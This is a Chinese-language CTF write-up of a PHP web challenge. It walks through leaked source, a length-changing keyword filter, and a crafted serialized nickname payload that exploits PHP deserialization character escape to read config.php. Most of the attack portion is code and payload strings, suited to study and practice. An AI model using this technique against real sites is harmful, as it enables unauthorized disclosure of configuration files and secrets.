基础知识
解题思路
payload
/www.zip
源码泄露,直接可以下载
config.php
打开config.php可以看到可能flag就存放在这里
访问/register.php,随便注册一个账号,然后登陆,发现跳转到了update.php
update.php
//update.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile .php">Your Profile</a>';
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>UPDATE</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Please Update Your Profile</h3>
<label>Phone:</label>
<input type="text" name="phone" style="height:30px"class="span3"/>
<label>Email:</label>
<input type="text" name="email" style="height:30px"class="span3"/>
<label>Nickname:</label>
<input type="text" name="nickname" style="height:30px" class="span3">
<label for="file">Photo:</label>
<input type="file" name="photo" style="height:30px"class="span3"/>
<button type="submit" class="btn btn-primary">UPDATE</button>
</form>
</div>
</body>
</html>
<?php
}
?>
可以看到update.php页面对通过POST传入的phone、emil、nicknam、photo等参数进行了过滤,其中手机号和邮箱都要符合正常的格式,nickname的取值只能在a-zA-Z0-9和_当中并且长度不能大于10,这里只要post数据的时候把数据放到数组里面就可以绕过了
符合过滤条件的几个参数传入后放到了$profile[]里面,然后把$profile序列化后传入了update_profile()函数里面,函数代码如下,在函数里面对username和传入的序列化后的$profile进行了filter()过滤
update_profile()
//class.php
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
fileter()
//class.php
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
可以看到filter把传入的违规关键字'select', 'insert', 'update', 'delete', 'where'都替换为了hacker,可以很容易的发现hacker的长度为6,违规关键字中只有where的长度为5,其他的长度都和hacker一样,也就是说除了where关键字,其他关键字在替换之后长度都不会发生改变。这里就可以利用我们上面基础知识所提到的php反序列化字符逃逸漏洞漏洞了
我们只要在nickname参数中输入合理数量的where,在序列化之后再经过filter()过滤之后就可以让原本photo的内容溢出逃逸,变成我们构造的payload内容(config.php)
根据网站的大概逻辑写一个小demo用来测试
demo
//test.html
<html>
<head></head>
<body></body>
<form action="test.php" method="post" enctype="multipart/form-data" class="well">
<h3>Please Update Your Profile</h3>
<label>Phone:</label>
<input type="text" name="phone" style="height:30px"class="span3"/>
<label>Email:</label>
<input type="text" name="email" style="height:30px"class="span3"/>
<label>Nickname:</label>
<input type="text" name="nickname" style="height:30px" class="span3">
<label for="file">Photo:</label>
<input type="file" name="photo" style="height:30px"class="span3"/>
<button type="submit" class="btn btn-primary">UPDATE</button>
</form>
</html>
//test.php
<?php
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
function filter($string)
{
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
#print_r($profile);
echo '<br>';
echo '<br>';
$test1 = serialize($profile);
$test1 = filter($test1);
echo $test1;
$test = unserialize($test1);
echo '<br>';
echo '<br>';
print_r($test);
echo '<br>';
echo '<br>';
print_r($test['phone']);
echo '<br>';
echo '<br>';
print_r($test['email']);
echo '<br>';
echo '<br>';
print_r($test['nickname']);
echo '<br>';
echo '<br>';
print_r($test['photo']);
echo '<br>';
echo '<br>';
?>
然后我们在demo里面先正常传入一下数据看一下序列化后输出出来的结果
下面我们抓包修改一下nickname的名字,将";}s:5:"photo";s:10:"config.php";}拼接到nickname的内容中,此处的原因是上面可以看到flag就存在config.php中


可以看到后拼接上的字符长度和原来五个1的长度加起来一共是39,此时还知道每在nickname的内容中写一个where,后端就会把where替换成hack从而长度5变成6,下面就列出方程,设where的个数是x,那么如果想让后面的内容逃逸就应该满足39+5x=6x+5
可得x为34,也就是要添加34个where在nickname的内容中,下面进行实验
可以看到photo成功被替换成了config.php
下面发一下拼接后的payload
a:4:{s:5:"phone";s:11:"15103114513";s:5:"email";s:16:"165789634@qq.com";s:8:"nickname";a:1:{i:0;s:209:"11111hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/0412c29576c708cf0155e8de242169b1";}
最后一部分的内容因为序列化的原理就成功逃逸了,下面我们去靶场试一下
";}s:5:"photo";s:39:"upload/0412c29576c708cf0155e8de242169b1";}
BUU靶场实操
输入基本信息
抓包
修改nickname拼接payload
解码
解题成功